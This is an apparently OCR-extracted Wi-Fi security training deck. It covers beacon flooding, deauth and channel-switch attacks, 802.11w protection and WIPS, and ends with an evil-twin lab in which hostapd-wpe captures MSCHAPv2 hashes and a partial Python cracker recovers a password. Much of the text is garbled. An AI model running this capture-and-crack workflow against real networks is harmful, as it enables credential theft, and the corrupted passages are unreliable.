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Beacon flooding

Mo,

Time Source Destination Protocol  Lg

1 0.000000000  ASUSTekC_ac:le:f4 Broadcast 802.11 B44 Beacon frame, S

., BI=100, SSI

KITRI_DEV5™

= 4% @m
Wi-Fi
DIRECT-FE-HP OfficeJet Pro 7740

KITRI_BoB

KITRI_DEV5

KITRI_Guest

KITRI_Mentee

KITRI_Mentee2

> Frame 1: 344 bytes on wire (2752 bits), 344 bytes captured (2752 bits) on interf
> Radiotap Header v@, Length 18
> 802.11 radio information

IEEE 802.11 Beacon frame, Flags:
Type/Subtype: Beacon frame (©x0008)

> Frame Control Field: 0x3000
.000 0000 00O 00OV = Duration: @ microseconds
Receiver address: Broadcast (ff:ff:ff:ff:ff:ff)

Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Transmitter address: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:f4)
Source address: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:f4)

BSS Id: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:f4)

e . . 0000 = Fragment number: ©

0010 0001 1011 .... = Sequence number: 539

> IEEE 802.11 Wireless Management

00
00
4b
00
08
Oc

ac
00
16
F
00
00
04
f
00
47
33
o1

00
ff
f4
Qa
24
24
30

00
1b
00

00
01
FF
8
ee
04
00

7c
£f

54
60
64
00

00
le
00

00
c@
c@
01
7a
3b
00

40
24
9%
49
5
14
of

10
81
00

00
bf
00
01
be
12
4c

01
4b
80
5f
04
95
ac
ob
04
2d
00
04
00
Oc
64
02
41
04
04

V5

3+ I

kjtimes
Netduck_5G
H |-@ SS-2.4
$K
3K T Taxmail_2.4G
d KITRI_DE
$ H1
KR $ --d
# --0
F-2 H
=-d
i
d
+-1- 2

GL-\ z--A-Z




Handover

Station

Beacon Frame

AP

' 3

Probe Request (broadcast)

v

Probe Response

A

Probe Request (broadcast)

v

Probe Response

a

Probe Request (broadcast)

v

Probe Response

a




Authentication Process

Station

Authentication Request

AP

Authentication Response

Association Request

Association Response

EAPOL

Data




4-way Handshake

Station (PMK) AP (PMK)

Generate SNonce Generate ANonce

Message 1: EAPOL-Key
(Anonce, Unicast)

a

Message 2 : EAPOL-Key
(SNonce, Unicast, MIC)

v

Message 3 : EAPOL-Key
((install PTK, Unicast, MIC)
Encrypted (GTK, IGTK))

Message 4 : EAPOL-Key
(Unicast, MIC)

A
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Deauth Attack
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Deauth Attack

Mo, Time Source Destination Protocol  Lengtheglaia
1 0.000000000 ASUSTekC ac:le:f4  Broadcast 802.11 6 SN=0, FN=0, Flags=........ C
> Frame 1: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interfac 00 00 20 00 ae 40 00 2@ 20 08 00 a0 20 08 00 00 @ -
10 ©c 85 16 40 01 Ge 00 30 00 00 00 Oc 00 fo 01 @ Qe

> Radiotap Header v@, Length 32
IEEE 802.11 Deauthentication, Flags: ........
Type/Subtype: Deauthentication (0x0800c)
> Frame Control Field: ©xc00@
.000 0000 0000 0000 = Duration: @ microseconds
Receiver address: Broadcast (ff:ff:ff:ff:ff:ff)
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Transmitter address: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:f4)
Source address: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:f4)

BSS Id: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:f4)
e . . 000 = Fragment number: ©
0000 0000 0BBG .... = Sequence number: ©
Frame check sequence: @x7c4a23@e [unverified]
[FCS Status: Unverified]

OUZ.

c@ 00 00 80 ff ff ff ff
24 4b fe ac le f4 00 00

ff ff 24 4b fe ac 1le f4
07 00 Qe 23 4a 7Jc

13



802.11 Frame Format

Octets: 2 2 6 6 2 6 2 - 0-ros <
Frame Duration | Address | Address | Address | Sequence | Address | QoS ~HI Frame | c~o
Control 1D 1 2 ' Control 1 Control | Control Body -
-4

MAC Header

MAC frame format

Duration
D

Address

2

Saquence

Control

Address

4

QoS
Control

HT
Controd

MAC Header

Data frame

Frame
Control

Duration

Address |

Address 2

Address 3

Sequence
Control

HT
Control

-

MAC Header

Management frame format

>
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Management Frame

ement Frame Protection Reg
Management Frame Protection Capable: True
Joint Multi-band RSNA: False
PeerKey Enabled: False

L R D P 1... - . ..

o
i ata ambel wienin
+ PMKID Count: ©
PMKID List
Group Management Cipher Suite: 00:0f:ac (Ieee 802.11) BIP
Group Management Cipher Suite OUI: 00:0f:ac (Ieee 802.11)
Group Management Cipher Suite type: BIP (6)

..11l .... = KON UIKDA Keplay Lounter capaplllTles: lb repiay Counters per FIKdA,
Management Frame Protection Required: True
... 1... .... = Management Frame Protection Capable: True
..0 .... .... = Joint Multi-band RSNA: False
..0. .... .... = PeerKey Enabled: False
0 « «ess ... = Extended Key ID for Individually Addressed Frames: Not supported

PMKID Count: ©
PMKID List

15



FIGURE 10.12 Control Wrapper frame
Frame Duration ID Address CF?;rriﬁg HT Carried £CS
Control 1 Control Control Frame
[ 2 2 % 2 4 Variable 4
‘o' ---‘-""‘----_--__“-_
o‘ T TTT—— N
Protocol | Type = | Sub Type = | To | From | More Power | More
Version | 01 0141 | DS | DS | Frag | R€MY | Man | Data | Protected | Order
Frame Control
1;:;;-2;5?11 Type Sub Type 1;;[::: Protected Order
2bit 2bit 4bit 1bit 1bit 1bit
Type Sub Type
(00 : Management Frame )
- 0000 : Association Request Frame

- 00 : Management Frame
- 01 : Control Frame
- 10 : Data Frame

- 0001 : Association Response Frame

16



802.11w

802.11w Station 802.11w AP

Station ignores
the forged
Disassociation

{

a

Connection Established \

Disassociation (Reason 6)

Attacker

SA Query (Protected)

<

SA Query Response (Protected)
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802.11w

IV AV YU YR AVYW I WY W WA A kW e LR -y

1665921393.828580623 8.8.8.8 10.1.1.88 IcMP

1665921393.828831853 IntelCor_32: ASUSTekC_ac:1e:T4 802.11
17018 1665921393.830821850 ASUSTekC ac:le:f4 IntelCor_32:90:ba 802.11
17019 1665921393.830822860 IntelCor_32:90:ba ASUSTekC_ac:le:T4 802.11
17098 1665921394.417052290 IntelCor_32:90:ba ASUSTekC_ac:1e:T4 802.11 AUS= s aiee onte

17099 1665921394.419251041 ASUSTekC_ac:le:f4 IntelCor_32:90:ba 802.11 92 Actlon SN= 3058 FN 0 Flags- Piisais C

17100 1665921394.419251751 IntelCor_32:90:ba ASUSTekC_ac:1e:T4 802.11 96 Action, SN=1451, FN=0, Flags=.p...... C, SSID=Wildcard (Broadcast)

17145 1665921394.737072998 IntelCor_32:90:ba ASUSTekC_ac:le:f4 802.11 38 Deauthentication, SN=315, FN=0, Flags=........

17150 1665921394 .739504540 ASUSTekC_ac:le:f4 IntelCor_32:90:ba 802.11 92 Action, SN=3062, FN=0, Flags=.p...... C

17151 1665921394 .739505286 IntelCor_32:90:ba ASUSTekC_ac:le:f4 802.11 96 Action, SN=1452, FN=0, Flags=.p...... C, SSID=Wildcard (Broadcast) v
4 »

Frame 17018: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) on interface mon®, id ©
Radiotap Header vO, Length 44
802.11 radio information
IEEE 802.11 Action, Flags: .p...... C
Type/Subtype: Action (0x000d)
» Frame Control Field: 0xdo40
.000 0000 0011 1100 = Duration: 60 microseconds
Receiver address: IntelCor_32:90:ba (2c:6d:c1:32:90:ba)
Destination address: IntelCor_32:90:ba (2c:6d:c1:32:90:ba)
Transmitter address: ASUSTekC_ac:le:T4 (24:4b:fe:ac:le:f4)
Source address: ASUSTekC_ac:le:f4 (24:4b:fe:ac:le:T4)
BSS Id: ASUSTekC_ac:le:T4 (24:4b:fe:ac:le:f4)
. ... 0000 = Fragment number: ©
1011 1110 1010 .... = Sequence number: 3050
Frame check sequence: 0x935d3589 [unverified]
[FCS Status: Unverified]

~ IEEE 802.11 Wireless Management

Fixed parameters
Category code: SA Query (8)
Action code: SA Query Request (0)

Transaction Id: 0xf83d

4 vvw
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Protected Management Frame
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Protected Management Frame

PMF X/ &

Apple S#E2 24 HE HO|EE HSsHs 2

5 Qo =, 802.11woll HelE PMF(Protected Management Frame) AH|A
Sl WPA2 % WPA3 &2 B3 E |LIH

E L EEPHAE 2| = 7tX| eFELCH PMF= OE Apple 717104 X2 ELICE

> >~

e iIPhone 6 % 0| 2

iPad Air 2 3 0|z 2&

Apple TVHD E= 0|2 24

Apple Watch Series 3 % 0|z 24

Mac d#E (2013 28 A 0| EAl 22, 802.11ac ol &)

l

802.1XE X230 Apple 717I= Crgsta Z5H2 RADIUS 218 &gt SEHELCh EAP-TLS, EAP-TTLS, EAP-FAST,
EAP-SIM, PEAPvVO % PEAPV1S Z&¢t 802.1 °
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Protected Management Frame







Channel Switch Announcement
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Channel Switch Announcement

Table 8-20—Beacon frame body (continued)

Order

Information

Notes

DSSS Parameter Set

The DSSS Parameter Set element is present within Beacon frames
generated by STAs using Clause 16, Clause 17, and Clause 19
PHYs.

The element is present within Beacon frames generated by STAs
using a Clause 20 PHY in the 2.4 GHz band.

CF Parameter Set

The CF Parameter Set element is present only within Beacon
frames generated by APs supporting a PCF.

This element is not present if dot11HighThroughputOption-
Implemented is true and the Dual CTS Protection field of the HT
Operation element is 1.

IBSS Parameter Set

The IBSS Parameter Set element is present only within Beacon
frames generated by STAs in an IBSS.

10

Traffic indication
map (TIM)

The TIM element is present only within Beacon frames generated
by APs or mesh STAs.

Country

The Country element is present if
dotlI1MultiDomainCapabilityActivated is true or
dot11SpectrumManagementRequired is true or
dot11RadioMeasurementActivated is true.

FH Parameters

FH Parameters as specified in 8.4.2.11 are optionally present if
dot11MultiDomainCapabilityActivated is true.

FH Pattern Table

FH Pattern Table information as specified in 8.4.2.12 are
optionally present if dotl1MultiDomainCapabilityActivated is
true.

Power Constraint

The Power Constraint element is present if
dot11SpectrumManagementRequired is true and is optionally
present if dotl1RadioMeasurementActivated is true

Channel Switch
Announcement

Channel Switch Announcement element is optionally present if
dot11SpectrumManagementRequired is true.

Quiet

I'he Quiet element 1s optionally present 1t
dot11SpectrumManagementRequired is true or
dot11RadioMeasurementActivated is true.

IBSS DFS

IBSS DFS element is present if

{vvww

94078 1668085190.561394575 Cisco_c7:cd:ee Broadcast 802.11 411 Beacon frame, SN=1472

Frame 94078: 411 bytes on wire (3288 bits), 411 bytes captured (3288 bits) on interface mon0®, id 0
Radiotap Header vO, Length 44
802.11 radio information
IEEE 802.11 Beacon frame, Flags: ........ C
IEEE 802.11 Wireless Management
» Fixed parameters (12 bytes)
~ Tagged parameters (327 bytes)
» Tag: SSID parameter set:
» Tag: Supported Rates 6(B), 9, 12(B), 18, 24(B), 36, 48, 54, [Mbit/sec]
» Tag: DS Parameter set: Current Channel: 36
» Tag: Traffic Indication Map (TIM): DTIM © of 1 bitmap

Tag: Channel Switch Announcement Mode: @, Number: 44 , Count:
Tag Number: Channel Switch Announcement (37)

Tag length: 3

Channel Switch Mode: ©

New Channel Number: 44
Channel Switch Count: 1

25



Channel Switch Announcement

FIGURE 4.5 Beacon frame structure

MAC header
bytes 2 2 6 6 6 2 | Variable 4
I 1 I I 1 | I I 1 I I I | I | I | I I I 1
Frame ) Seq- | Frame
Control Duration DA SA BSS ID ol Body FCS
| | | | | | 1 | | 1 | | | | | | | L ~l__ < | | |
bytes ___ .8 -----"2"""2 \Variable Variable 2 8 4 Variable
I I I I I I I I 1 I I | | | I | | | I |
Beacon| Capability Supported DS CF IBSS
Timestamp intervall  Info SS ID% Rates Par%rgteter Par%rgteter Parg'gteter TIM
| 1 | | | | | | | | | | | | | | | | |
I _ >
Mandatory Optional

Variable

3

3 Variable

Variable

Country
Info

Power
Constraint
| |

TPC
Report

| |

Extended
rates

Robust
Security Network

> |

Optional (continued)

26



Channel Switch Announcement

[ Even Length \
Element ID Length Variable Information
. . | J
8bit 8bit
Channel Switch New Channel | Channel Switch
Element.11) Length Mode Number Count
8bit 8bit 8bit 8bit 8bit




Channel Switch Announcement

No.

{vvvwvvww

Frame
Linux

1665132101.
1665132101.
1665132101.
1665132101.
8861 1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132101.
1665132164.
1665132164.
1665132164,
1665132164,
1665132164.
1665132164.

130369532
131621733
134243820
138546039
288303669
288304363
288305070
288305294
317390357
317391089
319061864
326043910
326044862
327682469
327683036
398085536
398086006
174240796
174241450
180093979
183230198
445662642
445663362

8813: 131 bytes on wire
cooked capture vi

Source

Telesqua_03:
Telesqua_03:
Telesqua_03:
da:19:ce:00:
da:19:ce:00:
da:19:ce:00:
da:19:ce:00:
2e:d1:3f:15:
2e:d1:3f:15:
RuckusWi_1d:
RuckusWi_1d:
RuckusWi_1id:
2a:d1:3f1:14:
2e:d1:3f:15:
2e:d1:3f:15:

Radiotap Header vO, Length 44

802.11 radio

IEEE 802.11 Wireless Managemeht
» Fixed parameters (12 bytes)

~ Tagged parameters (31 bytes)
» Tag: SSID parameter set: PublicWifi@BUS_Secure

» Tag: DS Parameter set: Current Channel: 36

Destination

52:5b:44:c2:
52:5b:44:c2:
52:5b:44:c2:
LGElectr_f7:
52:5b:44:c2:
52:5b:44:c2:
LGElectr_f7:
LGElectr_f7:
7e:26:95:1b:
7e:26:95:1b:
7e:26:95:1b:
d2:c2:1f:d3:
d2:c2:1f:d3:
1a:64:70:41:
1a:64:70:41:
LGElectr_f7:
LGElectr_f7:
LGElectr_89:
LGElectr_89:
a2:cf:67:5d:
7€:26:95:1b:
LGElectr_f7:
LGElectr_f7:

802.
802.
802.
802.
802.
802.
802.
802.
802.
802.
802.

Tag: Channel Switch Announcement Mode: 1, Number: 144 , Count: 1
Tag Number: Channel Switch Announcement (37)

Tag length: 3
Channel Switch Mode: 1

New Channel Number:

144

Channel Switch Count: 1

131
126
126
126
128
131
131

Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon
Beacon

frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,
frame,

(1048 bits), 131 bytes captured (1048 bits) on interface any, id ©

SN=3722, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=3723, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=3725, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=3728, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=3735, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=3799, FN=0, Flags=........ cC, B SSID=PublicWifi@BUS_Secure
SN=3800, FN=0, Flags=........ cC, B SSID=PublicWifi@BUS_Secure
SN=3802, FN=0, Flags=........ cC, B SSID=PublicWifi@BUS_Secure
SN=3803, FN=0, Flags=........ cC, B SSID=PublicWifi@BUS_Secure
SN=3337, FN=0, Flags=........ C, B SSID=Public WiFi Secure
SN=3338, FN=0, Flags=........ C, B SSID=Public WiFi Secure
SN=3341, FN=0, Flags=........ C, B SSID=Public WiFi Secure
SN=3352, FN=0, Flags=........ cC, B SSID=SEQUL_Secure

SN=3353, FN=0, Flags=........ c, B SSID=SEOQUL_Secure

SN=3355, FN=0, Flags=........ cC, B SSID=SEOQUL_Secure

SN=3356, FN=0, Flags=........ cC, B SSID=SEOQUL_Secure

SN=3847, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=3848, FN=0, Flags=........ C, B SSID=PublicWifi@BUS_Secure
SN=279, FN=0, Flags=........ C, BI SSID=Public WiFi Free
SN=280, FN=0, Flags=........ C, BI SSID=Public WiFi Free
SN=285, FN=©, Flags=........ C, BI SSID=Public WiFi Free
SN=291, FN=©, Flags=........ C, BI SSID=Public WiFi Secure
SN=3122, FN=0, Flags=........ C, BR0, SSID=PublicWifi@BUS_Secure
SN=3123, FN=0, Flags=........ C, BR0, SSID=PublicWifi@BUS_Secure

28
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WIPS

How to Avoid FCC Wi-Fi Interference Fines
[—.—*JE_HE O “WIPSZ 0|2 AFRA AP

with New WIPS Technology

April 11, 2017 By Jason Vendramin

20} 7[Rt £9212015.07.1209:00

12 FX|Q| AHO|C}. £5] B Z|2I0] 2f0|mto| AZ0| 7kt Tt

r
rl'l-l
=)
HL
£
=2
il
10
o
el
rr
>,\J

[ |
=
FX5I At FM2 =0f| HO|X| ¢4, 2 SHL = It mlshA|7F EEEX] 2547 | =0l

M'E ’.%EOIEh

30



WIPS
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Enterprise Servers
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Channel Switch Announcement

wilan.csa.channel_switch_mode
No. Time Source Destination Protocol Lengtt Info
BUEIEED e e | U .130369184 2e:d1:3f:14:cc:ba 52:5b:44:¢2:46:43 802.11 131 Beacon frame, SN=3722, F
No. Time Source Destination Protocol Length Info 1665132101.130369532 2e:01:3f:14:cc:ba 52:5b:44:c2:46:43 802.11 131 Beacon frame, SN=3723, FN
1262 59.981799692 EFMNetwo_29:94: Broadcast 802. 401 Beacon frame, SN=4042, = = 8818 1665132101.131621733 2e:0d1:37:15:44:5¢c 52:5b:44:c2:46:43 802.11 131 Beacon frame, SN=3725, FN
iggi 23‘251225223 Em:zmgig : gigzgizzi ggg- jgi g::zgz H:ﬁ: 32322' 5 29 8821 1665132101.134243820 2e:01:3r:15:72:25 52:5b:44:¢c2:46:43 802.11 131 Beacon frame, SN=3728, FN

: o, : [ 0 . . 8822 1665132101.138546039 2e:d1:3r:14:cc:ba LGElectr_r7:42:58 802.11 131 Beacon frame, SN=3735, FN

1508 25 98201043 ErMNGtLe 59 04: proaccast o e e oo L0 8861 1665132101.288303669 2e:d1:37:15:2a:73  52:5b:44:c2:46:43  802.11 131 Beacon frame, SN=3799, FN
1267 59.982044740 EFMNetwo_29:94: Broadcast 802. 401 Beacon frame, SN=4043, FN= .. 8862 1665132101.288304363 2e:d1:3f:15:2a:73 52:5b:44:c2:46:43 802.11 131 Beacon frame, SN=3800, FN
1268 59.982079733 EFMNetwo_29:94: Broadcast 802. 401 Beacon frame, SN=4043, .. 8864 1665132101.288305070 2e:01:37:15:2a:73 LGElectr_f7:42:58 802.11 131 Beacon frame, SN=3802, FN
1;32 :gg:iggii Egmzmg—gg : g:g:gz:zt :8;‘ 331 g::zgz ;::2: i:figﬁ' a o 8865 1665132101.288305294 2e:d1:37:15:2a:73 LGElectr_f7:42:58 802.11 131 Beacon frame, SN=3803, FN

: : ) o= ! o _ 8883 1665132101.317390357 Telesqua_03:15:95 70:26:95:1b:01:43 802.11 128 Beacon frame, SN=3337, FN

T e e . e :Zgﬁj 23:38331 » 8884 1665132101.317391089 Telesqua _03:15:95  7e:26:95:1b:d1:43  802.11 128 Beacon frame, SN=3338, FN
1273 59.982272972 EFMNetwo_29 Broadcast 802. 401 Beacon frame, SN=4044, .. 8886 1665132101.319061864 Telesqua_03:3b:5a 7€:26:95:1b:d1:43 802.11 128 Beacon frame, SN=3341, FN
1274 59.982292195 EFMNetwo_29 Broadcast 802. 401 Beacon frame, SN=4045, FN= . 8892 1665132101.326043910 da:19:ce:00:3b:5a d2:c2:11:d3:18:25 802.11 122 Beacon frame, SN=3352, FN

1275 59.982315792 EFMNetwo_29 Broadcast 802. 401 Beacon frame, SN=4045, .., BI= +40-ce: 002" e 1f-d3-18" &
S o) GRS g ek S 802, oA BT e Grerern ‘_ 8893 1665132101.326044862 da:19:ce:00:3b:5a d2:c2:17:d3:18:25 802.11 122 Beacon frame, SN=3353, FN

1277 59.982355950 EFMNetwo_29 e o 802, 401 Beacon frame. SN=4045. FN= © BI= 8895 1665132101.327682469 da:19:ce:00:15:95 1a:64:710:41:3b:2c 802.11 122 Beacon frame, SN=3355, FN
1278 59.982380424 EFMNetwo_29 Broadcast 802. 401 Beacon frame, SN=4047, = .. 8896 1665132101.327683036 da:19:¢ce:00:15:95 1a:64:710:41:3b:2c 802.11 122 Beacon frame, SN=3356, FN
1279 59.982403956 EFMNetwo_29 Broadcast 802. 401 Beacon frame, SN=4047, o 8922 1665132101.398085536 2e:d1:3r:15:2a:73 LGElectr_r7:42:58 802.11 131 Beacon frame, SN=3847, FN
1280 59.982441644 Broadcast 802. 401 Beacon frame, SN=4047, .- 8923 1665132101.398086006 2e:d1:37:15:2a:73 LGElectr_f7:42:58 802.11 131 Beacon frame, SN=3848, FN
s ebeadhenes proaccast o nsEm s e 1o 0 11289 1665132164.174240796 RuckusWi_1d:a@:1c  LGElectr_89:44:00  802.11 126 Beacon frame, SN=279, FN=
1283 59982576619 EFMNetwo 29:94:78  Broadoast 802, P et (i, YR, . HrEe ol 11290 1665132164.174241450 RuckusWi_1d:a@:1c LGElectr_89:44:00 802.11 126 Beacon frame, SN=280, FN=
— s s 11296 1665132164.180093979 Ruckuswi_1d:a@:ic a2:cr:67:5d:d5:69 802.11 126 Beacon frame, SN=285, FN=
Radiotap Header vo, Length 32 ¢ ! 11297 1665132164.183230198 2a:d1:3r:14:cc:ba 7€:26:95:1b:0d1:43 802.11 128 Beacon frame, SN=291, FN=
862.11 radio information 11383 1665132164.445662642 2e:d1:37:15:2a:73 LGElectr_f7:42:58 802.11 131 Beacon frame, SN=3122, FN
L SR PP S EPC LS L BTN 11384 1665132164.445663362 2e:d1:37:15:2a:73 LGElectr_f7:42:58 802.11 131 Beacon frame, SN=3123, FN

IEEE 802.11 Wireless Management 4
Fixed parameters (12 bytes)
~ Tagged parameters (333 bytes) » Frame 8813: 131 bytes on wire (1648 bits), 131 bytes captured (1048 bits) on interface any, id ©
» Tag: SSID parameter set: "Netduck_2.4G" » Linux cooked capture vi
Tag: Supported Rates 1(B), 2(B), 5.5(B), 11(B), 9, 18, 36, 54, [Mbit/sec] > Radlotap Header vO, Length 44
»

Tag: DS Parameter set: Current Channel: 2
Tag: Traffic Indication Map (TIM): DTIM © of 1 bitmap 802.11 radio information

Tag: Country Information: Country Code , Environment All
Tag: Power Constraint: © IEEE 8062.11 Wireless Management

Tag: TPC Report Transmit Power: 63, Link Margin: © » Fixed parameters (12 bytes)
Tag: Channel Switch Announcement Mode: 1, Number: 165 , Count: 1 - Tagged parameters (31 bytes)

Tag Number: Channel Switch Announcement (37) R Tag' SSID paraneter set: publlCWlfl(!BUS Secure
Tag length: 3 - -

Channel Switch Mode: 1 » Tag: DS Parameter set: 36
New Channel Number: 165 g A

Channel Switch Coun 1

SO , . Tag length: 3
erating Class 83, Channel List : 1, 2, 3, 4, 5, 6, 7, 8, 9,
. ’ Channel Switch Mode: 1

144

: ERP Information
. . Evtandad Qunnartad Datac & 19 924 A9 [Mhit/canl New Channel Number:
Tag (wlan.tag), 5 byte(s) hanne . h _Coun
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ubuntu@ip-172-31-40-27:~$% service freeradius status
o freeradius.service - FreeRADIUS multi-protocol policy server
Loaded: loaded (/lib/systemd/system/freeradius.service; disabled; vendor preset: enabled)
Active: active (running) since Thu 2022-10-06 17:30:10 UTC; 1 months 12 days ago
Docs: man:radiusd(8)
man: radiusd.conf(5)
http://wiki.freeradius.org/
http://networkradius.com/doc/
Main PID: 16672 (freeradius)
Status: "Processing requests"
Tasks: 6 (limit: 2316)
Memory: 79.9M
: /system.slice/freeradius.service
L-16672 /usr/sbin/freeradius -f

ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27
ip-172-31-40-27

freeradius[16670] :
freeradius[16670] :
freeradius[16670] :
freeradius[16670] :
freeradius[16670] :
freeradius[16670] :
freeradius[16670] :
freeradius[16670] :
freeradius[16670] :

Please use tls_min_version and tls_max_version instead of disable_tlsvl_2

tls: Using cached TLS configuration from previous invocation

tls: Using cached TLS configuration from previous invocation

rlm_cache (cache_eap): Driver rlm_cache_rbtree (module rlm_cache_rbtree) loaded and linked

Ignoring "sql" (see raddb/mods—available/README.rst)

Ignoring "ldap" (see raddb/mods-available/README.rst)

# Skipping contents of 'if' as it is always 'false' —— /etc/freeradius/3.0/sites—enabled/inner-tunnel:336
radiusd: #### Skipping IP addresses and Ports ####

Configuration appears to be OK

systemd[1]: Started FreeRADIUS multi-protocol policy server.

fl701109 Cleartext-Password :=
21114872 Cleartext-Password
202010884 Cleartext-Passwor

"981217"
"020801"
= "000211"

18011585 Cleartext-Password := "980511"

Configuration file for the rlm_files module.
Please see rlm_files(5) manpage for more information.

This file contains authentication security and configuration

/etc/freeradius/3.0/users
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junan - /etc/hostapd-wpe
/etc/hostapd-wpe/hostapd-wpe.conf
: interface state UNINITIALIZED->ENABLED
: AP-ENABLED
: STA 2c:6d:c1:32:90:ba IEEE 802.11: authenticated
: STA 2c:6d:c1:32:90:ba IEEE 802.11: associated (aid 1)
: CTRL-EVENT-EAP-STARTED 2c:6d:c1:32:90:ba
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
: CTRL-EVENT-EAP-STARTED 2c:6d:c1:32:90:ba
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
: STA 2c:6d:c1:32:90:ba IEEE 802.1X: Identity received from STA:
: STA 2c:6d:c1:32:90:ba IEEE 802.1X: Identity received from STA:
: STA 2c:6d:c1:32:90:ba IEEE 802.1X: Identity received from STA:
: CTRL-EVENT-EAP-RETRANSMIT 2c:6d:c1:32:90:ba

: STA 2c:6d:c1:32:90:ba IEEE 802.1X: Identity received from STA:
: STA 2c:6d:c1:32:90:ba IEEE 802.1X: Identity received from STA:
: STA 2c:6d:c1:32:90:ba IEEE 802.1X: Identity received from STA:

mschapv2: Fri Nov 11 14:43:21 2022
username: bob
challenge: a3:93:bb:ce:a@:df:c8:12
response: €6:45:20:03:17:49:10:69:11:66:99:c4:3e:4C:00:6e:e2:9a:29:e6:2c:e4:1d:16
Jtr NETNTLM: bob:$NETNTLM$a393bbcealdtc812$eb4520031/491069116699Cc43e4Cc00bee29a29e62ce41d16
hashcat NETNTLM: bob::::e64520031749f069116699c43e4c006ee29a29e62ce41d16:a393bbceaddfc812
: STA 2c:6d:c1:32:90:ba IEEE 802.11: authenticated
: STA 2c:6d:c1:32:90:ba IEEE 802.11: associated (aid 1)
: CTRL-EVENT-EAP-STARTED 2c:6d:c1:32:90:ba
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
: CTRL-EVENT-EAP-STARTED 2c:6d:c1:32:90:ba
: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
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5208 lines (5208 sloc)

O 00 N O Ul b W N =

e ol e
o Ul A WN RS

900101
900102
900103
900104
900105
900106
900107
900108
900109
900110
900111
900112
900113
900114
900115
900116

35.6 KB

Username
Challenge
response
—

ID/PW Crack!

59 lines (49 sloc) 2.45 KB

W 00 N O U & W N =

e e e e =
A W N RO

16
17
18
19
20
21
22
23
24
25
26

import binascii

import random

import hashlib

import sys

from Crypto.Cipher import DES

class Cracker:
def __init__ (self, pwfile, username, challenge, response):
self.pwfile = pwfile
self.username = username.encode()
self.challenge = binascii.unhexlify(challenge.replace(':', '').lower()
self.response = binascii.unhexlify(response.replace(':"', '').lower())

def get_nt_password_hash(self, pw):
return hashlib.new('md4',pw.encode("utf-161e")).digest()

# Copied from https://github.com/SecureAuthCorp/impacket/blob/1c21a460aelfé
def __expand_DES_key(self, key):
# Expand the key from a 7-byte password key into a 8-byte DES key

key = keyl[:7]

key += bytearray(7-len(key))

s = bytearray()
.append(((key[0] >> 1) & Ox7f) << 1)
.append(((key[0] & 0x01) << 6 | ((key[1l] >> 2) & 0x3f)) << 1)
.append(((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1)

3
s
s
s.append(((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1)
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mschapv2: Fri Nov 18 18:46:39 2022
username: 18011585
challenge: 45:6f:36:6f:85:c3:af:61
response: 24:6C:20:e0:3a:7¢:69:fb:99:6b:8f:c8:cf:40:df:c6:52:ed:db:17:7f:cd:e6:23
jtr NETNTLM: 18011585: $NETNTLM$456F366f85¢c3af61$246c20e03a7c69fb996b8fc8cf40dfc652eddb177fcde623
hashcat NETNTLM: 18011585::::246c20e03a7c69fb996b8fc8cf40dfc652eddb177fcde623:456f366f85c3af61
wlanl: STA ec:aa:25:93:e5:8f IEEE 802.1X: Identity received from STA: '18011585'
wlanl: STA ec:aa:25:93:e5:8f IEEE 802.1X: Identity received from STA: '18011585'
wlan1l: CTRL-FVENT-FAP-FATLURE ec:aa:25:03:e5:8f

root® junan - /home/junan/duck-tools/python/mschapv2_crack

root® junan - /home/junan/duck-tools/python/mschapv2_crack
# crack.py ./wordlist/apjali.txt 18011585 45:67:36:6f:85:c3:af:61 24:6c:20:e0:3a:7c:69:fb:99:6b:8f:c8:cf:40:
df:c6:52:ed:db:17:7f:cd:e6:23
[+] Username: b'18011585"
[+] Pw : 980511
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